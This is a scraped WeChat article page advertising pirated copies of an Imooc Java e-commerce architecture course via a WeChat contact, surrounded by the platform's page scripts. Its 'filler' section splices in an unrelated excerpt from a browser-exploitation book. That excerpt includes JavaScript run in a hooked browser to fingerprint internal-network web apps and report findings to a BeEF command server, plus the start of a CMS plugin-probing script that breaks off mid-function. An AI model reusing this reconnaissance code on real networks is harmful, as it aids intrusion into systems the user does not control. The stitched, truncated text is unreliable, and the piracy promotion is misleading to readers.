慕课网实战课Java企业级电商项目架构演进之路 Tomcat集群与Redis分布式(百度云 百度网盘)

var biz = “MzkzMjMyNzYyMQ==” || “”;
var sn = “” || “” || “”;
var mid = “2247483931” || “” || “”;
var idx = “4” || “” || “”;
window.__allowLoadResFromMp = true; // 允许从mp.weixin.qq.com加载js资源
// window.__loadAllResFromMp = true; // 所有js资源都从mp域名加载

var page_begintime = (+new Date());
// 辟谣需求
var is_rumor = “”;
var norumor = “”;
if (!!(is_rumor * 1) && !(norumor*1) && !!biz && !!mid) {
if (!document.referrer || document.referrer.indexOf(“mp.weixin.qq.com/mp/rumor”) == -1){
location.href = “http://mp.weixin.qq.com/mp/rumor?action=info&__biz=” + biz + “&mid=” + mid + “&idx=” + idx + “&sn=” + sn + “#wechat_redirect”;
}
}

String.prototype.html = function (encode) {
var replace = [“'”, “‘”, “"”, ‘”‘, ” “, ” “, “>”, “>”, “<“, “<", "¥", "¥", "&", "&"];
// 最新版的safari 12有一个BUG,如果使用字面量定义一个数组,var a = [1, 2, 3]
// 当调用了 a.reverse() 方法把变量 a 元素顺序反转成 3, 2, 1 后,
// 即使此页面刷新了, 或者此页面使用 A标签、 window.open 打开的页面,
// 只要调用到同一段代码, 变量 a 的元素顺序都会变成 3, 2, 1
// 所以这里不用 reverse 方法
/*
if (encode) {
replace.reverse();
}*/
var replaceReverse = ["&", "&", "¥", "¥", "”, “>”, ” “, ” “, ‘”‘, “"”, “‘”, “'”];
var target;
if (encode) {
target = replaceReverse;
} else {
target = replace;
}
for (var i = 0, str = this; i < target.length; i += 2) {
str = str.replace(new RegExp(target[i], 'g'), target[i + 1]);
}
return str;
};

window.isInWeixinApp = function () {
return /MicroMessenger/.test(navigator.userAgent);
};

window.getQueryFromURL = function (url) {
url = url || 'http://qq.com/s?a=b#rd'; // 做一层保护,保证URL是合法的
var tmp = url.split('?'),
query = (tmp[1] || "").split('#')[0].split('&'),
params = {};
for (var i = 0; i < query.length; i++) {
var arg = query[i].split('=');
params[arg[0]] = arg[1];
}
if (params['pass_ticket']) {
params['pass_ticket'] = encodeURIComponent(params['pass_ticket'].html(false).html(false).replace(/\s/g, "+"));
}
return params;
};

(function () {
var params = getQueryFromURL(location.href);
window.uin = params['uin'] || "" || '';
window.key = params['key'] || "" || '';
window.wxtoken = params['wxtoken'] || '';
window.pass_ticket = params['pass_ticket'] || '';
window.appmsg_token = "";
})();

window.PAGE_MID=”mmbizwap:appmsg/newindex.html”

var write_sceen_time = (+new Date());
var preview = “” * 1 || 0;

var currencyMap = {
‘USD’: ‘$’,
‘HKD’: ‘HK$’,
‘CAD’: ‘C$’,
‘AUD’: ‘A$’,
‘TWD’: ‘NT$’,
‘JPY’: ‘JPY¥’,
‘EUR’: ‘€’,
‘SGD’: ‘S$’,
‘GBP’: ‘£’,
‘NZD’: ‘NZ$’,
‘MYR’: ‘RM’,
‘KZT’: ‘〒’,
‘KRW’: ‘₩’,
‘THB’: ‘฿’,
‘PHP’: ‘₱’,
‘TRY’: ‘₺’,
‘MXN’: ‘Mex$’,
‘CNY’: ‘¥’
};
var can_use_wecoin = ‘1’ * 1; // 是否个人号
var wecoin_tips = ‘0’ * 1; // 是否出教育弹窗
/* var can_use_wecoin = 1; */
var wecoin_amount = ‘0’ * 1; // 微信豆个数

慕课网实战课Java企业级电商项目架构演进之路 Tomcat集群与Redis分布式(百度云 百度网盘)



小藏辰园


2022-04-07 00:00





这个课这里有,还有同类更多课

加微信发暗号【拼课】低价学


微信号:2113131994

RECOMMEND

好课推荐


Java企业级电商项目架构演进之路  Tomcat集群与Redis分布式




推荐课程可以扫码添加微信:2113131994 获取,海量课程,每周更新几十种,我们一起探讨,共同进步

含大数据、前沿技术、前端开发、后端开发、移动开发、数据分析、架构、人工智能、Python、Java、Android、前端、IOS、C++、大数据、、GO、音视频软件测试、产品经理、运维、股票基金、人工智能AI

以下内容为填充,无视即可



这个fingerprint_data数据结构中的每个数组元素,都包含域名、端口和协议类型,可用于请
求图片路径,最后是图片的宽度和高度值。如果你想知道更完整的(但并不是最完整的)指纹采
集数据库,可以看看BeEF的internal_network_fingerprinter模块,这里顺便感谢Brendan Coles为此
付出的心血4
。有了IP,也有了图片,就可以把下面的JavaScript代码注入勾连浏览器的DOM了。这段代码会
检查上面的IP(或者你指定的其他IP)是否在运行具有fingerprint_data中某个特征的Web应用:var dom = document.createElement(‘b’);
// 每个IP
for(var i=0; i < ips.length; i++) {
// 数据集中的每个应用
for(var u=0; u < fingerprint_data.length; u++) {
var img = new Image;
img.id = u;
img.src = fingerprint_data[u][2]+”://”+ips[i]
+”:”+fingerprint_data[u][1]+ fingerprint_data[u][4];

// 触发onload事件,找到图片
img.onload = function() {

// 再次检查宽度和高度
if (this.width == fingerprint_data[this.id][5] &&
this.height == fingerprint_data[this.id][6]) {
console.log(“Detecting [” + fingerprint_data[this.id][0]
+ “] at IP [” + ips[i] + “]”);
// 通知BeEF服务器
beef.net.send(‘<%= @command_url %>’, <%= @command_id %>,
‘discovered=’+escape(fingerprint_data[this.id][0])+
“&url=”+escape(this.src)
);
// 完工,从DOM中删除图片
dom.removeChild(this);
}
}
// 将图片添加到DOM
dom.appendChild(img);
}}
前面的代码运行后,会尝试将所有资源加载到各自的内嵌框架。资源的URL由fingerprint_ data
336 第 9 章 攻击 Web 应用
和ips中的数据组合而成。如果图片的onload事件被触发,则说明已经正确定位到资源(否则会
触发onerror事件)。最后,为增加确定性,还要验证图片的宽度和高度。如果图片的路径、宽度和高度与前面创
建的数据集中的某一个条目对应,那么恭喜你!图9-3展示了成功找到一个资源的结果。图9-3 找到了VMware ESXi服务器
2. 请求页面
很多CMS和一般Web应用的指纹采集工具都有一个大型的数据库,其中包含CMS的类型、版
本、主题和插件信息。比如Chris Sullo(Nikto的作者)创建的CMS-Explorer5
,就包含Drupal、Joomla
和WordPress的数千个插件和主题URL路径。这些信息非常有用,特别是当配合利用XSS和SQLi
等这类CMS插件中常见的安全漏洞时,往往能得到非常可靠的结果。要检测某个应用是否存在特定的路径,比如modules/filebrowser/,可以采用与之前检测图片
类似的方法。首先,创建一个数据结构,包含Drupal中使用的多种插件的名称和路径。对每个要
检测的路径,都创建一个带自定义onerror和onload处理程序的script标签。比如可以使用下
面的脚本:var target = “http://172.16.37.147”;
/* 要检查的资源(名称,路径)*/
var resources = [
[“Drupal – FileBrowser”,”modules/filebrowser/”],
[“Drupal – FFmpeg”, “modules/ffmpeg/”],
[“WordPress – AccessLogs”, “wp-content/plugins/access-logs/”]
];
/* 上层路径(/或/drupal)*/
var paths = [“/”, “/drupal/”];
function add_tag(src){

var first_sceen__time = (+new Date());
if (“” == 1 && document.getElementById(‘js_content’)) {
document.getElementById(‘js_content’).addEventListener(“selectstart”,function(e){ e.preventDefault(); });
}

收录于合集 #

 



上一篇







下一篇




我的留言

写留言

    展开我的留言
    以上留言被精选后,将对所有人可见
    精选留言

    写留言

      已无更多数据

      留言

      微信扫一扫
      关注该公众号

      window.img_popup = 1; // 全量小程序弹窗


      微信扫一扫
      使用小程序

      window.logs.pagetime.page_begin = Date.now();

      var __DEBUGINFO = {
      debug_js: “//res.wx.qq.com/mmbizwap/zh_CN/htmledition/js/biz_wap/debug/console5d7beb.js”,
      safe_js: “//res.wx.qq.com/mmbizwap/zh_CN/htmledition/js/biz_wap/safe/moonsafe5d7beb.js”,
      res_list: []
      };

      (function () {
      var totalCount = 0,
      finishCount = 0;

      function _loadVConsolePlugin() {
      window.vConsole = new window.VConsole();
      while (window.vConsolePlugins.length > 0) {
      var p = window.vConsolePlugins.shift();
      window.vConsole.addPlugin(p);
      }
      // 视频落地页h5有时候不会触发onload事件,导致vConsole无法渲染,这里手动强制渲染vConsole @baakqiu
      if (!window.vConsole.isInited) {
      window.vConsole._render();
      window.vConsole._mockTap();
      window.vConsole._bindEvent();
      window.vConsole._autoRun();
      }
      }

      function _addVConsole(uri, cb) {
      totalCount++;
      var node = document.createElement(‘SCRIPT’);
      node.type = ‘text/javascript’;
      node.src = uri;
      node.setAttribute(‘nonce’, ‘602681761’);
      if (cb) {
      node.onload = cb;
      }
      document.getElementsByTagName(‘head’)[0].appendChild(node);
      }
      if (
      (document.cookie && document.cookie.indexOf(‘vconsole_open=1’) > -1)
      || location.href.indexOf(‘vconsole=1’) > -1
      ) {
      window.vConsolePlugins = [];
      _addVConsole(‘//res.wx.qq.com/mmbizwap/zh_CN/htmledition/js/vconsole/3.2.2/vconsole.min5d7bea.js’, function () {
      // _addVConsole(‘plugin/vconsole-sources/1.0.1/vconsole-sources.min.js’);
      _addVConsole(‘//res.wx.qq.com/mmbizwap/zh_CN/htmledition/js/vconsole/plugin/vconsole-mpopt/1.0.1/vconsole-mpopt5d7bea.js’, _loadVConsolePlugin);
      });
      }

      // // 广告iframe预加载
      try {
      var adIframeUrl = localStorage.getItem(‘__WXLS_ad_iframe_url’);
      if (window === top) {
      if (adIframeUrl) {
      if (navigator.userAgent.indexOf(‘iPhone’) > -1) {
      var img = new Image();
      img.src = adIframeUrl;
      } else {
      var link = document.createElement(‘link’);
      link.rel = ‘prefetch’;
      link.href = adIframeUrl;
      document.getElementsByTagName(‘head’)[0].appendChild(link);
      }
      }
      }
      } catch (err) {

      }

      })();

      !function(){“use strict”;var e=function(e,t,n,i){var o=new Date(1e3*(1*t)),c=function(e){return”0″.concat(e).slice(-2)},u=o.getFullYear()+”-“+c(o.getMonth()+1)+”-“+c(o.getDate())+” “+c(o.getHours())+”:”+c(o.getMinutes());i&&(i.innerText=u)};if(!window.__second_open__){e(0,”1649260800″,0,document.getElementById(“publish_time”)),window.__setPubTime=e}}();

      //兼容 IE
      if (!window.console) window.console = { log: function() {} };
      // 图片占位 @ekili
      if (typeof getComputedStyle == ‘undefined’) {
      if (document.body.currentStyle) {
      window.getComputedStyle = function(el) {
      return el.currentStyle;
      }
      } else {
      window.getComputedStyle = {};
      }
      }
      // 图片和视频预加载逻辑,记得H5和秒开要对齐逻辑
      (function(){
      window.__zoom = 1;

      var ua = navigator.userAgent.toLowerCase();
      var re = new RegExp(“msie ([0-9]+[\.0-9]*)”);
      var version;
      if (re.exec(ua) != null) {
      version = parseInt(RegExp.$1);
      }
      var isIE = false;
      if (typeof version != ‘undefined’ && version >= 6 && version 0) break;
      outerWidth += parseFloat(parent_style.paddingLeft) + parseFloat(parent_style.paddingRight) + parseFloat(parent_style.marginLeft) + parseFloat(parent_style.marginRight) + parseFloat(parent_style.borderLeftWidth) + parseFloat(parent_style.borderRightWidth);
      parent = parent.parentNode;
      }
      return parent_width;
      }
      var getOuterW = function (dom) {
      var style = getComputedStyle(dom),
      w = 0;
      if (!!style) {
      w = parseFloat(style.paddingLeft) + parseFloat(style.paddingRight) + parseFloat(style.borderLeftWidth) + parseFloat(style.borderRightWidth);
      }
      return w;
      };
      var getOuterH = function (dom) {
      var style = getComputedStyle(dom),
      h = 0;
      if (!!style) {
      h = parseFloat(style.paddingTop) + parseFloat(style.paddingBottom) + parseFloat(style.borderTopWidth) + parseFloat(style.borderBottomWidth);
      }
      return h;
      };
      var insertAfter = function (dom, afterDom) {
      var _p = afterDom.parentNode;
      if (!_p) {
      return;
      }
      if (_p.lastChild === afterDom) {
      _p.appendChild(dom);
      } else {
      _p.insertBefore(dom, afterDom.nextSibling);
      }
      };
      var getQuery = function (name, url) {
      //参数:变量名,url为空则表从当前页面的url中取
      var u = arguments[1] || window.location.search,
      reg = new RegExp(“(^|&)” + name + “=([^&]*)(&|$)”),
      r = u.substr(u.indexOf(“\?”) + 1).match(reg);
      return r != null ? r[2] : “”;
      };

      /**
      * 设置图片size
      *
      * @param {HTMLElement} item 图片元素
      * @param {number} widthNum 宽度数值
      * @param {string} widthUnit 宽度单位
      * @param {number} ratio 宽高比
      * @param {boolean} breakParentWidth 是否突破父元素宽度(父元素是否被撑大)
      */
      function setImgSize(item, widthNum, widthUnit, ratio, breakParentWidth) {
      setTimeout(function () {
      var img_padding_border = getOuterW(item) || 0;
      var img_padding_border_top_bottom = getOuterH(item) || 0;

      var isAccessibilityKey = ‘isMpUserAccessibility’;
      var isAccessMode = window.localStorage.getItem(isAccessibilityKey);

      // 如果设置的宽度超过了父元素最大宽度,则取父元素宽度
      if (widthNum > getParentWidth(item) && !breakParentWidth) {
      widthNum = getParentWidth(item);
      }

      height = (widthNum – img_padding_border) * ratio + img_padding_border_top_bottom;

      if (isIE || ‘0’ === ‘1’ || ” === ‘1’ || isAccessMode === ‘1’) { // 判一下是不是漫画原创,如果是,不走懒加载
      var url = item.getAttribute(‘data-src’);
      item.src = url;

      // 不走懒加载但是需要跟懒加载一样去除占位高度
      item.style.height = ‘auto’;
      } else {
      if (parseFloat(widthNum, 10) > 40 && height > 40 && breakParentWidth) {
      item.className += ‘ img_loading’;
      }
      item.src = “data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==”;
      widthNum !== ‘auto’ && (item.style.cssText += “;width: ” + widthNum + widthUnit + ” !important;”);
      widthNum !== ‘auto’ && (item.style.cssText += “;height: ” + height + widthUnit + ” !important;”);
      }
      }, 10);
      }
      // 图片和视频预加载逻辑,记得H5和秒开要对齐逻辑
      (function () {
      var images = document.getElementsByTagName(‘img’);
      var length = images.length;
      var max_width = getMaxWith();
      for (var i = 0; i 0) {
      var parent_width = getParentWidth(imageItem) || max_width;
      var initWidth = imageItem.style.width || imageItem.getAttribute(‘width’) || originWidth || parent_width;
      initWidth = parseFloat(initWidth, 10) > max_width ? max_width : initWidth;
      // 有attribute或style中的width,写入_width属性,在图片加载完成时写入img标签
      if (initWidth) {
      imageItem.setAttribute(‘_width’, !isNaN(initWidth * 1) ? initWidth + ‘px’ : initWidth);
      }
      // 使用百分比,则计算出像素宽度
      if (typeof initWidth === ‘string’ && initWidth.indexOf(‘%’) !== -1) {
      initWidth = parseFloat(initWidth.replace(‘%’, ”), 10) / 100 * parent_width;
      }
      // 使用auto,就是原始宽度
      if (initWidth === ‘auto’) {
      initWidth = originWidth;
      }

      var widthNum;
      var widthUnit;
      if (initWidth === ‘auto’) {
      widthNum = ‘auto’;
      } else {
      var res = /^(\d+(?:\.\d+)?)([a-zA-Z%]+)?$/.exec(initWidth);
      widthNum = res && res.length >= 2 ? res[1] : 0;
      widthUnit = res && res.length >= 3 && res[2] ? res[2] : ‘px’;
      }

      // 试探一下parent宽度在设置了图片的大小之后是否会变化
      setImgSize(imageItem, widthNum, widthUnit, ratio_, true);
      // 真正设置宽高
      (function (item, widthNumber, unit, ratio) {
      setTimeout(function () {
      setImgSize(item, widthNumber, unit, ratio, false);
      });
      })(imageItem, widthNum, widthUnit, ratio_);
      } else {
      imageItem.style.cssText += “;visibility: hidden !important;”;
      }
      }
      })();
      window.__videoDefaultRatio = 16 / 9;//默认值是16/9
      window.__getVideoWh = function (dom) {
      var max_width = getMaxWith(),
      width = max_width,
      ratio_ = dom.getAttribute(‘data-ratio’) * 1,//mark16/9
      arr = [4 / 3, 16 / 9],
      ret = arr[0],
      abs = Math.abs(ret – ratio_);
      if (!ratio_) { // 没有比例
      if (dom.getAttribute(“data-mpvid”)) { // MP视频
      ratio_ = 16 / 9;
      } else { // 非MP视频,需要兼容历史图文
      ratio_ = 4 / 3;
      }
      } else { // 有比例,则判断更接近4/3还是更接近16/9
      for (var j = 1, jl = arr.length; j < jl; j++) {
      var _abs = Math.abs(arr[j] – ratio_);
      if (_abs parent_width ? parent_width : width,
      outerW = getOuterW(dom) || 0,
      outerH = getOuterH(dom) || 0,
      videoW = width – outerW,
      videoH = videoW / ratio_,
      speedDotH = 12, // 播放器新样式的进度条在最下面,为了避免遮住拖动的点点,需要额外设置高一些
      height = videoH + outerH + speedDotH;

      return { w: Math.ceil(width), h: Math.ceil(height), vh: videoH, vw: videoW, ratio: ratio_, sdh: speedDotH };
      };

      // 图片和视频预加载逻辑,记得H5和秒开要对齐逻辑
      (function () {
      var iframe = document.getElementsByTagName(‘iframe’);
      for (var i = 0, il = iframe.length; i < il; i++) {
      if (window.__second_open__ && iframe[i].getAttribute('__sec_open_place_holder__')) {
      continue;
      }
      var a = iframe[i];
      var src_ = a.getAttribute('src') || a.getAttribute('data-src') || "";

      if (!/^http(s)*\:\/\/v\.qq\.com\/iframe\/(preview|player)\.html\?/.test(src_)
      && !/^http(s)*\:\/\/mp\.weixin\.qq\.com\/mp\/readtemplate\?t=pages\/video_player_tmpl/.test(src_)
      ) {
      continue;
      }
      var vid = getQuery("vid", src_);
      if (!vid) {
      continue;
      }
      vid = vid.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, "");//清除前后空格
      a.removeAttribute('src');
      a.style.display = "none";
      var obj = window.__getVideoWh(a),
      videoPlaceHolderSpan = document.createElement('span'),
      videoPlayerIconSpan = document.createElement('span'),
      mydiv = document.createElement('img');

      videoPlaceHolderSpan.className = "js_img_loading db";
      videoPlaceHolderSpan.setAttribute("data-vid", vid);
      // videoPlaceHolderSpan.style.display = 'block';

      videoPlayerIconSpan.className = 'wx_video_context db'; // 预加载的视频封面图占位
      videoPlayerIconSpan.style.display = 'none';
      videoPlayerIconSpan.innerHTML = '‘; // 曝光后设置这里img的src

      mydiv.className = “img_loading”;

      mydiv.src = “data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==”;
      // mydiv.style.cssText += ‘;height:100%;width:100%;’;
      // mydiv.setAttribute(“data-vid”,vid);
      videoPlaceHolderSpan.style.cssText = “width: ” + obj.w + “px !important;”;
      mydiv.style.cssText += “;width: ” + obj.w + “px”;
      videoPlaceHolderSpan.appendChild(videoPlayerIconSpan);
      videoPlaceHolderSpan.appendChild(mydiv);

      insertAfter(videoPlaceHolderSpan, a); // 在视频后面插入占位

      /* var parentNode = a.parentNode;
      var copyIframe = a;
      var index = i; */

      // 由于视频需要加一个转载的来源,所以这里需要提前设置高度
      function ajax(obj) {
      var url = obj.url;
      var xhr = new XMLHttpRequest();

      var data = null;
      if (typeof obj.data == “object”) {
      var d = obj.data;
      data = [];
      for (var k in d) {
      if (d.hasOwnProperty(k)) {
      data.push(k + “=” + encodeURIComponent(d[k]));
      }
      }
      data = data.join(“&”);
      } else {
      data = typeof obj.data == ‘string’ ? obj.data : null;
      }

      xhr.open(‘POST’, url, true);
      xhr.onreadystatechange = function () {
      if (xhr.readyState == 4) {
      if (xhr.status >= 200 && xhr.status < 400) {
      obj.success && obj.success(xhr.responseText);
      } else {
      obj.error && obj.error(xhr);
      }
      obj.complete && obj.complete();
      obj.complete = null;
      }
      };
      xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
      xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
      xhr.send(data);
      }

      var mid = "" || "" || "2247483931";
      var biz = "" || "MzkzMjMyNzYyMQ==";
      var sessionid = "" || "svr_829afc75ed8";
      var idx = "";

      (function sendReq(parentNode, copyIframe, index, vid) {
      ajax({
      url: '/mp/videoplayer?vid=' + vid + '&mid=' + mid + '&idx=1&__biz=' + biz + '&sessionid=' + sessionid + '&f=json',
      type: "GET",
      dataType: 'json',
      success: function (json) {
      var ret = JSON.parse(json || '{}');
      var ori = ret.ori_status;
      var hit_biz_headimg = ret.hit_biz_headimg + '/64';
      var hit_nickname = ret.hit_nickname;
      var hit_username = ret.hit_username;
      var sourceBiz = ret.source_encode_biz;

      var selfUserName = "gh_463d2459a68d";

      if (ori === 2 && selfUserName !== hit_username) {
      var videoBar = document.createElement('div');
      var videoBarHtml = '

      ‘;
      videoBar.innerHTML = videoBarHtml;
      var spanContainer = document.getElementById(‘js_mp_video_container_’ + index);
      if (spanContainer) {
      spanContainer.parentNode.insertBefore(videoBar, spanContainer);
      } else if (parentNode.contains && parentNode.contains(copyIframe)) {
      parentNode.insertBefore(videoBar, copyIframe);
      } else {
      parentNode.insertBefore(videoBar, parentNode.firstElementChild);
      }
      var avatorEle = document.getElementById(hit_biz_headimg + index);
      var avatorSrc = avatorEle.dataset.src;
      console.log(‘avatorSrc’ + avatorSrc);
      if (ret.hit_biz_headimg) {
      avatorEle.style.backgroundImage = ‘url(‘ + avatorSrc + ‘)’;
      }
      }
      },
      error: function (xhr) {
      }
      });
      })(a.parentNode, a, i, vid);

      a.style.cssText += “;width: ” + obj.w + “px !important;”;
      a.setAttribute(“width”, obj.w);
      if (window.__zoom != 1) {
      a.style.display = “block”;
      videoPlaceHolderSpan.style.display = “none”;
      a.setAttribute(“_ratio”, obj.ratio);
      a.setAttribute(“_vid”, vid);
      } else {
      videoPlaceHolderSpan.style.cssText += “height: ” + obj.h + “px !important;”;
      mydiv.style.cssText += “height: ” + obj.h + “px !important;”;
      a.style.cssText += “height: ” + obj.h + “px !important;”;
      a.setAttribute(“height”, obj.h);
      }
      a.setAttribute(“data-vh”, obj.vh);
      a.setAttribute(“data-vw”, obj.vw);
      if (a.getAttribute(“data-mpvid”)) {
      a.setAttribute(“data-src”, location.protocol + “//mp.weixin.qq.com/mp/readtemplate?t=pages/video_player_tmpl&auto=0&vid=” + vid);
      } else {
      a.setAttribute(“data-src”, location.protocol + “//v.qq.com/iframe/player.html?vid=” + vid + “&width=” + obj.vw + “&height=” + obj.vh + “&auto=0”);
      }
      }
      })();

      (function () {
      if (window.__zoom != 1) {
      if (!window.__second_open__) {
      document.getElementById(‘page-content’).style.zoom = window.__zoom;
      var a = document.getElementById(‘activity-name’);
      var b = document.getElementById(‘meta_content’);
      if (!!a) {
      a.style.zoom = 1 / window.__zoom;
      }
      if (!!b) {
      b.style.zoom = 1 / window.__zoom;
      }
      }
      var images = document.getElementsByTagName(‘img’);
      for (var i = 0, il = images.length; i < il; i++) {
      if (window.__second_open__ && images[i].getAttribute('__sec_open_place_holder__')) {
      continue;
      }
      images[i].style.zoom = 1 / window.__zoom;
      }
      var iframe = document.getElementsByTagName('iframe');
      for (var i = 0, il = iframe.length; i < il; i++) {
      if (window.__second_open__ && iframe[i].getAttribute('__sec_open_place_holder__')) {
      continue;
      }
      var a = iframe[i];
      a.style.zoom = 1 / window.__zoom;
      var src_ = a.getAttribute('data-src') || "";
      if (!/^http(s)*\:\/\/v\.qq\.com\/iframe\/(preview|player)\.html\?/.test(src_)
      && !/^http(s)*\:\/\/mp\.weixin\.qq\.com\/mp\/readtemplate\?t=pages\/video_player_tmpl/.test(src_)
      ) {
      continue;
      }
      var ratio = a.getAttribute("_ratio");
      var vid = a.getAttribute("_vid");
      a.removeAttribute("_ratio");
      a.removeAttribute("_vid");
      var vw = a.offsetWidth – (getOuterW(a) || 0);
      var vh = vw / ratio;
      var h = vh + (getOuterH(a) || 0)
      a.style.cssText += "height: " + h + "px !important;"
      a.setAttribute("height", h);
      if (/^http(s)*\:\/\/v\.qq\.com\/iframe\/(preview|player)\.html\?/.test(src_)) {
      a.setAttribute("data-src", location.protocol + "//v.qq.com/iframe/player.html?vid=" + vid + "&width=" + vw + "&height=" + vh + "&auto=0");
      }
      a.style.display = "none";
      var parent = a.parentNode;
      if (!parent) {
      continue;
      }
      for (var j = 0, jl = parent.children.length; j = 0 && child.getAttribute(“data-vid”) == vid) {
      child.style.cssText += “height: ” + h + “px !important;”;
      child.style.display = “”;
      }
      }
      }
      }
      })();
      })();
      !function(){“use strict”;var t={defaultContentTpl:’‘,config:[{querySelector:”redpacketcover”,genId:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return decodeURIComponent(t.node.getAttribute(“data-coveruri”)||””)},calW:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return.7854*t.parentWidth},calH:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return this.calW({parentWidth:t.parentWidth})/.73346+27+37},replaceContentCssText:””,appendContentCssText:”display: inline-block;position: relative;”,outerContainerLeft:’

      ‘,outerContainerRight:”

      “},{querySelector:”qqmusic”,genId:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return(t.node.getAttribute(“musicid”)||””).replace(/^\s/,””).replace(/\s$/,””)+”_”+t.index},calW:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return 1*t.parentWidth},calH:function(){return 88},replaceContentCssText:””,appendContentCssText:”margin:16px 0;diplay:block;”,outerContainerLeft:””,outerContainerRight:””},{querySelector:”mpvoice”,genId:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=decodeURIComponent(t.node.getAttribute(“voice_encode_fileid”)||””).replace(/^\s/,””).replace(/\s$/,””);return e+”_”+t.index},calW:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return 1*t.parentWidth},calH:function(){return 122},replaceContentCssText:””,appendContentCssText:”margin:16px 0;diplay:block;”,outerContainerLeft:””,outerContainerRight:””},{querySelector:”mppoi”,genId:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return t.node.getAttribute(“data-id”)||””},calW:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return 1*t.parentWidth},calH:function(){return 219},replaceContentCssText:””,appendContentCssText:”margin:16px 0;diplay:block;”,outerContainerLeft:””,outerContainerRight:””},{querySelector:”mpsearch”,genId:function(){return decodeURIComponent(“mpsearch”)},calW:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return 1*t.parentWidth},calH:function(){return 100},replaceContentCssText:””,appendContentCssText:”margin:16px 0;diplay:block;”,outerContainerLeft:””,outerContainerRight:””},{querySelector:”mpvideosnap”,genId:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=t.node.getAttribute(“data-type”)||”video”;return”live”===e?decodeURIComponent(t.node.getAttribute(“data-noticeid”)||””):decodeURIComponent(t.node.getAttribute(“data-id”)||””)},calW:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=t.node.getAttribute(“data-type”)||”video”;return”live”===e||”topic”===e?t.parentWidth:.665*t.parentWidth},calH:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=t.node.getAttribute(“data-desc”)||””,n=t.node.getAttribute(“data-type”)||”video”;return”live”===n?e?152:116:”topic”===n?143:e?this.calW(t)+44+35+27:this.calW(t)+44+35},replaceContentCssText:””,appendContentCssText:”margin:16px auto;diplay:block;”,outerContainerLeft:””,outerContainerRight:””},{querySelector:”mp-wxaproduct”,genId:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return decodeURIComponent(t.node.getAttribute(“data-wxaproduct-productid”)||””)},calW:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return 1*t.parentWidth},calH:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=t.node.getAttribute(“data-wxaproduct-cardtype”)||””;return”mini”===e?124:466},replaceContentCssText:””,appendContentCssText:”margin:16px 0;diplay:block;”,outerContainerLeft:””,outerContainerRight:””},{querySelector:”mpprofile”,genId:function(t){return t.node.getAttribute(“data-id”)||””},calW:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return 1*t.parentWidth},calH:function(){return 143},replaceContentCssText:””,appendContentCssText:”margin:16px 0 16px;diplay:block;”,outerContainerLeft:””,outerContainerRight:””}]};!function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};if(“function”==typeof document.querySelectorAll)for(var e={maxWith:document.getElementById(“img-content”).getBoundingClientRect().width,idAttr:”data-preloadingid”},n=0,r=t.config.length;n<r;n++)for(var i=t.config[n],o=document.querySelectorAll(i.querySelector),a=0,d=o.length;a<d;a++){var c=o[a],l=c.parentNode.getBoundingClientRect().width;if(l=Math.min(l,e.maxWith),!c.getAttribute("has-insert-preloading")){var p=i.calW({parentWidth:l,node:c}),u=i.calH({parentWidth:l,node:c}),g=i.genId({index:a,node:c}),s=t.defaultContentTpl.replace(/#height#/g,u).replace(/#width#/g,p),h=document.createElement("div");if(h.innerHTML=s,i.replaceContentCssText){var C=i.replaceContentCssText.replace(/#height#/g,u).replace(/#width#/g,p);h.firstChild.style.cssText=C}else i.appendContentCssText&&(h.firstChild.style.cssText+=i.appendContentCssText);var f=i.outerContainerLeft+h.innerHTML+i.outerContainerRight;h.innerHTML=f,h.firstChild.setAttribute(e.idAttr,g),c.parentNode.insertBefore(h.firstChild,c.nextSibling),c.setAttribute("has-insert-preloading","1")}}}(t)}();

      // 白名单的class不能去除
      var whiteList = ‘rich_pages,blockquote_info,blockquote_biz,blockquote_other,blockquote_article,js_jump_icon,h5_image_link,js_banner_container,js_list_container,js_cover,js_tx_video_container,js_product_err_container,js_product_loop_content,js_product_container,img_loading,list-paddingleft-1,list-paddingleft-2,list-paddingleft-3,selectTdClass,noBorderTable,ue-table-interlace-color-single,ue-table-interlace-color-double,__bg_gif,weapp_text_link,weapp_image_link,js_img_loading,wx_video_context,db,wx_video_thumb_primary,wx_video_play_btn,wx_video_mask,qqmusic_area,tc,tips_global,unsupport_tips,qqmusic_wrp,appmsg_card_context,appmsg_card_active,wx_tap_card,js_wx_tap_highlight,wx_tap_link,qqmusic_bd,play_area,icon_qqmusic_switch,pic_qqmusic_default,qqmusic_thumb,access_area,qqmusic_songname,qqmusic_singername,qqmusic_source,js_audio_frame,share_audio_context,flex_context,pages_reset,share_audio_switch,icon_share_audio_switch,share_audio_info,flex_bd,share_audio_title,share_audio_tips,share_audio_progress_wrp,share_audio_progress,share_audio_progress_inner,share_audio_progress_buffer,share_audio_progress_loading,share_audio_progress_loading_inner,share_audio_progress_handle,share_audio_desc,share_audio_length_current,share_audio_length_total,video_iframe,vote_iframe,js_editor_vote_card,res_